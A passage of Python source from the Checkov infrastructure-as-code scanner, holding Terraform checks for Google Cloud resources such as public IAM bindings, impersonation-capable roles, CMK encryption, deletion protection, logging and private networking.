isinstance(ports_list[0], list): ports_list = ports_list[0] for port_range in ports_list: port = force_int(port_range) if port and self.port == port: return True if port is None and port_range and '-' in port_range: try: [from_port, to_port] = port_range.split('-') if int(from_port) <= self.port <= int(to_port): return True except Exception: return CheckResult.UNKNOWN return False ================================================ FILE: checkov/terraform/checks/resource/gcp/AbsGoogleIAMMemberDefaultServiceAccount.py ================================================ import re from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck # Default Compute -compute@developer.gserviceaccount.com # Default App Spot @appspot.gserviceaccount.com DEFAULT_SA = re.compile(r".*-compute@developer\.gserviceaccount\.com|.*@appspot\.gserviceaccount\.com") class AbsGoogleIAMMemberDefaultServiceAccount(BaseResourceCheck): def scan_resource_conf(self, conf): self.evaluated_keys = ['members'] if 'members' in conf else ['member'] members_conf = conf['members'][0] if 'members' in conf else conf.get('member', []) if any(re.match(DEFAULT_SA, str(member)) for member in members_conf): return CheckResult.FAILED return CheckResult.PASSED ================================================ FILE: checkov/terraform/checks/resource/gcp/AbsGoogleImpersonationRoles.py ================================================ from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck # Reference: https://cloud.google.com/iam/docs/best-practices-service-accounts # Lookup: https://cloud.google.com/iam/docs/permissions-reference IMPERSONATION_ROLES = [ "roles/owner", "roles/editor", "roles/iam.securityAdmin", "roles/iam.serviceAccountAdmin", "roles/iam.serviceAccountKeyAdmin", "roles/iam.serviceAccountUser", "roles/iam.serviceAccountTokenCreator", "roles/iam.workloadIdentityUser", "roles/dataflow.developer", "roles/serverless.serviceAgent", "roles/dataproc.serviceAgent", "roles/deploymentmanager.editor", "roles/cloudbuild.builds.editor", "roles/aiplatform.customCodeServiceAgent", "roles/aiplatform.extensionServiceAgent", "roles/aiplatform.serviceAgent", "roles/apigateway.serviceAgent", "roles/apigee.serviceAgent", "roles/appengine.serviceAgent", "roles/appengineflex.serviceAgent", "roles/bigquerycontinuousquery.serviceAgent", "roles/bigquerydatatransfer.serviceAgent", "roles/bigqueryspark.serviceAgent", "roles/cloudbuild.serviceAgent", "roles/cloudconfig.serviceAgent", "roles/clouddeploy.serviceAgent", "roles/cloudfunctions.serviceAgent", "roles/cloudscheduler.serviceAgent", "roles/cloudtasks.serviceAgent", "roles/composer.serviceAgent", "roles/compute.serviceAgent", "roles/connectors.serviceAgent", "roles/dataflow.serviceAgent", "roles/eventarc.serviceAgent", "roles/integrations.serviceAgent", "roles/ml.serviceAgent", "roles/notebooks.serviceAgent", "roles/pubsub.serviceAgent", "roles/run.serviceAgent", "roles/sourcerepo.serviceAgent", "roles/workflows.serviceAgent", "roles/iam.serviceAccountOpenIdTokenCreator", "roles/aiplatform.colabServiceAgent", "roles/backupdr.computeEngineOperator", "roles/backupdr.serviceAgent", "roles/batch.serviceAgent", "roles/clouddeploymentmanager.serviceAgent", "roles/cloudtpu.serviceAgent", "roles/compute.instanceGroupManagerServiceAgent", "roles/configdelivery.serviceAgent", "roles/container.serviceAgent", "roles/datapipelines.serviceAgent", "roles/dataplex.serviceAgent", "roles/dataprep.serviceAgent", "roles/dataproc.hubAgent", "roles/firebaseapphosting.serviceAgent", "roles/firebasemods.serviceAgent", "roles/gameservices.serviceAgent", "roles/genomics.serviceAgent", "roles/krmapihosting.anthosApiEndpointServiceAgent", "roles/krmapihosting.serviceAgent", "roles/lifesciences.serviceAgent", "roles/osconfig.serviceAgent", "roles/runapps.serviceAgent", "roles/securitycenter.securityResponseServiceAgent", "roles/workstations.serviceAgent", "roles/securesourcemanager.serviceAgent", "roles/assuredoss.admin", "roles/securitycenter.admin", "roles/vpcaccess.serviceAgent", "roles/cloudbuild.builds.builder", "roles/composer.worker", "roles/dataflow.admin", "roles/run.sourceDeveloper", ] class AbsGoogleImpersonationRoles(BaseResourceCheck): def scan_resource_conf(self, conf): self.evaluated_keys = ['role'] if 'role' in conf and conf['role'][0] in IMPERSONATION_ROLES: return CheckResult.FAILED return CheckResult.PASSED ================================================ FILE: checkov/terraform/checks/resource/gcp/AbsGooglePostgresqlDatabaseFlags.py ================================================ from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AbsGooglePostgresqlDatabaseFlags(BaseResourceCheck): def __init__(self, name, id, categories, supported_resources, flag_name, flag_values): super().__init__(name, id, categories, supported_resources) self.flag_name = flag_name self.flag_values = flag_values def scan_resource_conf(self, conf): if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags] for flag in flags: if isinstance(flag, dict) and flag['name'] == self.flag_name and flag['value'] in self.flag_values: self.evaluated_keys = ['database_version/[0]/POSTGRES', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.PASSED self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags'] return CheckResult.FAILED return CheckResult.UNKNOWN ================================================ FILE: checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ArtifactRegistryPrivateRepo(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Artifact Registry repositories are not anonymously or publicly accessible" id = "CKV_GCP_101" supported_resources = ("google_artifact_registry_repository_iam_member", "google_artifact_registry_repository_iam_binding") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: public_principals = ( "allUsers", "allAuthenticatedUsers" ) # Depending on the terraform resource type - # The member config is either a list or single principal if self.entity_type == "google_artifact_registry_repository_iam_member": # conf.get returns as a list # so we create a string for comparison if "member" in conf.keys(): member = conf.get("member")[0] if member in public_principals: return CheckResult.FAILED else: return CheckResult.PASSED # iam_binding returns a list of principals elif self.entity_type == "google_artifact_registry_repository_iam_binding": # Since conf.get returns a list and iam_binding returns a list (nested list) # we pull out the members list using the index 0 if "members" in conf.keys(): members_list = conf.get("members")[0] if any(member in public_principals for member in members_list): return CheckResult.FAILED else: return CheckResult.PASSED check = ArtifactRegistryPrivateRepo() ================================================ FILE: checkov/terraform/checks/resource/gcp/ArtifactRegsitryEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ArtifactRegistryEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Artifact Registry Repositories are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_84" supported_resources = ['google_artifact_registry_repository'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_name' def get_expected_value(self): return ANY_VALUE check = ArtifactRegistryEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/BigQueryDatasetEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class BigQueryDatasetEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Big Query Datasets are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_81" supported_resources = ['google_bigquery_dataset'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'default_encryption_configuration/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = BigQueryDatasetEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class BigQueryPrivateTable(BaseResourceCheck): def __init__(self): name = "Ensure that BigQuery Tables are not anonymously or publicly accessible" id = "CKV_GCP_100" supported_resources = ("google_bigquery_table_iam_member", "google_bigquery_table_iam_binding") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: public_principals = ( "allUsers", "allAuthenticatedUsers" ) # Depending on the terraform resource type - # The member config is either a list or single principal if self.entity_type == "google_bigquery_table_iam_member": # conf.get returns as a list # so we create a string for comparison if "member" in conf.keys(): member = conf.get("member")[0] if member in public_principals: return CheckResult.FAILED else: return CheckResult.PASSED # iam_binding returns a list of principals elif self.entity_type == "google_bigquery_table_iam_binding": # Since conf.get returns a list and iam_binding returns a list (nested list) # we pull out the members list using the index 0 if "members" in conf.keys(): members_list = conf.get("members")[0] if any(member in public_principals for member in members_list): return CheckResult.FAILED else: return CheckResult.PASSED check = BigQueryPrivateTable() ================================================ FILE: checkov/terraform/checks/resource/gcp/BigQueryTableDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class BigQueryTableDeletionProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure BigQuery tables have deletion protection enabled" id = "CKV_GCP_121" supported_resources = ['google_bigquery_table'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return 'deletion_protection' def get_expected_value(self) -> bool: return True check = BigQueryTableDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/gcp/BigQueryTableEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class BigQueryTableEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Big Query Tables are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_80" supported_resources = ['google_bigquery_table'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encryption_configuration/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = BigQueryTableEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/BigTableInstanceDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class BigTableInstanceDeletionProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure Big Table Instances have deletion protection enabled" id = "CKV_GCP_122" supported_resources = ['google_bigtable_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return 'deletion_protection' def get_expected_value(self): return True check = BigTableInstanceDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/gcp/BigTableInstanceEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class BigTableInstanceEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Big Table Instances are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_85" supported_resources = ['google_bigtable_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'cluster/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = BigTableInstanceEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudArmorWAFACLCVE202144228.py ================================================ from typing import List, Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.graph.graph_builder import CustomAttributes class CloudArmorWAFACLCVE202144228(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Cloud Armor prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell" id = "CKV_GCP_73" supported_resources = ("google_compute_security_policy",) categories = (CheckCategories.APPLICATION_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: self.evaluated_keys = ["rule"] rules = conf.get("rule") or [] for idx_rule, rule in enumerate(force_list(rules)): self.evaluated_keys = [ f"rule/[{idx_rule}]/action", f"rule/[{idx_rule}]/preview", f"rule/[{idx_rule}]/match/[0]/expr/[0]/expression", ] match = rule.get("match") if match and isinstance(match, list): expr = match[0].get("expr") if expr and isinstance(expr[0], dict): if expr[0].get("expression") == ["evaluatePreconfiguredExpr('cve-canary')"]: if rule.get("preview") == [True]: return CheckResult.FAILED if rule.get("action") == ["allow"]: return CheckResult.FAILED return CheckResult.PASSED elif expr[0].get("expression") == ["evaluatePreconfiguredWaf('cve-canary')"]: if rule.get("preview") == [True]: return CheckResult.FAILED if rule.get("action") == ["allow"]: return CheckResult.FAILED return CheckResult.PASSED resource_name = conf.get("name")[0] connected_rules = [ g1[1] for g1 in self.graph.nodes() if g1[1].get(CustomAttributes.RESOURCE_TYPE) == "google_compute_security_policy_rule" and g1[1].get("security_policy") == resource_name ] for rule in force_list(connected_rules): match = rule.get("match") if match and isinstance(match, dict): expr = match.get("expr") if expr and isinstance(expr, dict): if expr.get("expression") == "evaluatePreconfiguredExpr('cve-canary')": if rule.get("preview"): return CheckResult.FAILED if rule.get("action") == "allow": return CheckResult.FAILED return CheckResult.PASSED elif expr.get("expression") == "evaluatePreconfiguredWaf('cve-canary')": if rule.get("preview"): return CheckResult.FAILED if rule.get("action") == "allow": return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = CloudArmorWAFACLCVE202144228() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudBuildWorkersArePrivate.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudBuildWorkersArePrivate(BaseResourceValueCheck): def __init__(self): name = "Ensure Cloud build workers are private" id = "CKV_GCP_86" supported_resources = ['google_cloudbuild_worker_pool'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "worker_config/[0]/no_external_ip" check = CloudBuildWorkersArePrivate() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudFunctionPermissiveIngress(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure GCP Cloud Function is not configured with overly permissive Ingress setting" id = "CKV_GCP_124" supported_resources = ("google_cloudfunctions_function", "google_cloudfunctions2_function") categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: if self.entity_type == "google_cloudfunctions_function": return "ingress_settings" else: return "service_config/[0]/ingress_settings/[0]" def get_expected_values(self) -> List[Any]: return ["ALLOW_INTERNAL_AND_GCLB", "ALLOW_INTERNAL_ONLY"] check = CloudFunctionPermissiveIngress() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class CloudFunctionsShouldNotBePublic(BaseResourceCheck): def __init__(self): name = "Cloud functions should not be public" id = "CKV_GCP_107" supported_resources = [ "google_cloudfunctions_function_iam_member", "google_cloudfunctions_function_iam_binding", "google_cloudfunctions2_function_iam_member", "google_cloudfunctions2_function_iam_binding" ] categories = [CheckCategories.APPLICATION_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("member") and isinstance(conf.get("member"), list): if conf.get("member") == ["allUsers"]: return CheckResult.FAILED return CheckResult.PASSED if conf.get("members") and isinstance(conf.get("members")[0], list): if "allUsers" in conf.get("members")[0]: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = CloudFunctionsShouldNotBePublic() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudPubSubEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudPubSubEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure PubSub Topics are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_83" supported_resources = ['google_pubsub_topic'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_name' def get_expected_value(self): return ANY_VALUE check = CloudPubSubEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudSqlMajorVersion.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudSqlMajorVersion(BaseResourceValueCheck): def __init__(self): name = "Ensure SQL database is using latest Major version" id = "CKV_GCP_79" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'database_version' def get_expected_values(self): return ["POSTGRES_18", "MYSQL_8_0", "MYSQL_8_4", "SQLSERVER_2022_STANDARD", "SQLSERVER_2022_WEB", "SQLSERVER_2022_ENTERPRISE", "SQLSERVER_2022_EXPRESS"] check = CloudSqlMajorVersion() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudStorageLogging.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CloudStorageLogging(BaseResourceCheck): def __init__(self): name = "Bucket should log access" id = "CKV_GCP_62" supported_resources = ['google_storage_bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # check for logging if 'logging' in conf: if conf['logging'][0]: log_bucket_name = conf['logging'][0]['log_bucket'] if log_bucket_name: return CheckResult.PASSED else: return CheckResult.FAILED else: return CheckResult.FAILED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["logging/[0]/log_bucket"] check = CloudStorageLogging() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudStorageSelfLogging.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CloudStorageSelfLogging(BaseResourceCheck): def __init__(self) -> None: name = "Bucket should not log to itself" id = "CKV_GCP_63" supported_resources = ["google_storage_bucket"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: bucket_name = conf.get("name") # check for logging if "logging" in conf: self.evaluated_keys = ["logging"] if conf["logging"][0]: log_bucket_name = conf["logging"][0]["log_bucket"] self.evaluated_keys = ["logging/[0]/log_bucket", "name"] if log_bucket_name != bucket_name: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED return CheckResult.UNKNOWN check = CloudStorageSelfLogging() ================================================ FILE: checkov/terraform/checks/resource/gcp/CloudStorageVersioningEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudStorageVersioningEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure Cloud storage has versioning enabled" id = "CKV_GCP_78" supported_resources = ['google_storage_bucket'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "versioning/[0]/enabled" check = CloudStorageVersioningEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataFusionPrivateInstance.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataFusionPrivateInstance(BaseResourceValueCheck): def __init__(self): name = "Ensure Data fusion instances are private" id = "CKV_GCP_87" supported_resources = ['google_data_fusion_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'private_instance' check = DataFusionPrivateInstance() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataFusionStackdriverLogs.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataFusionStackdriverLogs(BaseResourceValueCheck): def __init__(self): name = "Ensure Datafusion has stack driver logging enabled" id = "CKV_GCP_104" supported_resources = ['google_data_fusion_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "enable_stackdriver_logging" check = DataFusionStackdriverLogs() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataFusionStackdriverMonitoring.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataFusionStackdriverMonitoring(BaseResourceValueCheck): def __init__(self): name = "Ensure Datafusion has stack driver monitoring enabled" id = "CKV_GCP_105" supported_resources = ['google_data_fusion_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "enable_stackdriver_monitoring" check = DataFusionStackdriverMonitoring() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataflowJobEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataflowJobEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure data flow jobs are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_90" supported_resources = ['google_dataflow_job'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_name' def get_expected_value(self): return ANY_VALUE check = DataflowJobEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataflowPrivateJob.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataflowPrivateJob(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Dataflow jobs are private" id = "CKV_GCP_94" supported_resources = ("google_dataflow_job",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "ip_configuration" # Possible values are "WORKER_IP_PUBLIC" or "WORKER_IP_PRIVATE" def get_expected_value(self) -> Any: return "WORKER_IP_PRIVATE" check = DataflowPrivateJob() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataprocClusterEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataprocClusterEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Dataproc cluster is encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_91" supported_resources = ['google_dataproc_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'cluster_config/[0]/encryption_config/[0]/kms_key_name' def get_expected_value(self): return ANY_VALUE check = DataprocClusterEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DataprocPrivateCluster(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Dataproc clusters are not anonymously or publicly accessible" id = "CKV_GCP_98" supported_resources = ("google_dataproc_cluster_iam_member", "google_dataproc_cluster_iam_binding") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: public_principals = ( "allUsers", "allAuthenticatedUsers" ) # Depending on the terraform resource type - # The member config is either a list or single principal if self.entity_type == "google_dataproc_cluster_iam_member": # conf.get returns as a list # so we create a string for comparison if "member" in conf.keys(): member = conf.get("member")[0] if member in public_principals: return CheckResult.FAILED else: return CheckResult.PASSED # iam_binding returns a list of principals elif self.entity_type == "google_dataproc_cluster_iam_binding": # Since conf.get returns a list and iam_binding returns a list (nested list) # we pull out the members list using the index 0 if "members" in conf.keys(): members_list = conf.get("members")[0] if any(member in public_principals for member in members_list): return CheckResult.FAILED else: return CheckResult.PASSED check = DataprocPrivateCluster() ================================================ FILE: checkov/terraform/checks/resource/gcp/DataprocPublicIpCluster.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DataprocPublicIpCluster(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Dataproc Clusters do not have public IPs" id = "CKV_GCP_103" supported_resources = ("google_dataproc_cluster",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "cluster_config/[0]/gce_cluster_config/[0]/internal_ip_only" check = DataprocPublicIpCluster() ================================================ FILE: checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GCPCloudRunPrivateService(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that GCP Cloud Run services are not anonymously or publicly accessible" id = "CKV_GCP_102" supported_resources = ("google_cloud_run_service_iam_member", "google_cloud_run_service_iam_binding") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: public_principals = ( "allUsers", "allAuthenticatedUsers" ) # Depending on the terraform resource type - # The member config is either a list or single principal if self.entity_type == "google_cloud_run_service_iam_member": # conf.get returns as a list # so we create a string for comparison if "member" in conf.keys(): member = conf.get("member")[0] if member in public_principals: return CheckResult.FAILED else: return CheckResult.PASSED # iam_binding returns a list of principals elif self.entity_type == "google_cloud_run_service_iam_binding": # Since conf.get returns a list and iam_binding returns a list (nested list) # we pull out the members list using the index 0 if "members" in conf.keys(): members_list = conf.get("members")[0] if any(member in public_principals for member in members_list): return CheckResult.FAILED else: return CheckResult.PASSED check = GCPCloudRunPrivateService() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEAliasIpEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class GKEAliasIpEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure Kubernetes Cluster is created with Alias IP ranges enabled" id = "CKV_GCP_23" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ip_allocation_policy' def get_expected_values(self): return [ANY_VALUE] check = GKEAliasIpEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEBinaryAuthorization.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GKEBinaryAuthorization(BaseResourceCheck): def __init__(self): name = "Ensure use of Binary Authorization" id = "CKV_GCP_66" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'binary_authorization' in conf.keys(): binary_authorization = conf["binary_authorization"][0] if isinstance(binary_authorization, dict) and 'evaluation_mode' in binary_authorization: # Google provider version >= v4.31.0 if binary_authorization.get("evaluation_mode") == ["PROJECT_SINGLETON_POLICY_ENFORCE"]: return CheckResult.PASSED # Google provider version v4.29.0 and v4.30.0 elif binary_authorization.get("evaluation_mode") == [True]: return CheckResult.PASSED # Google provider version <= v4.28.0 if conf.get("enable_binary_authorization") == [True]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self): return ['binary_authorization', 'enable_binary_authorization'] check = GKEBinaryAuthorization() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEClientCertificateDisabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GKEClientCertificateDisabled(BaseResourceValueCheck): def __init__(self): name = "Ensure client certificate authentication to Kubernetes Engine Clusters is disabled" id = 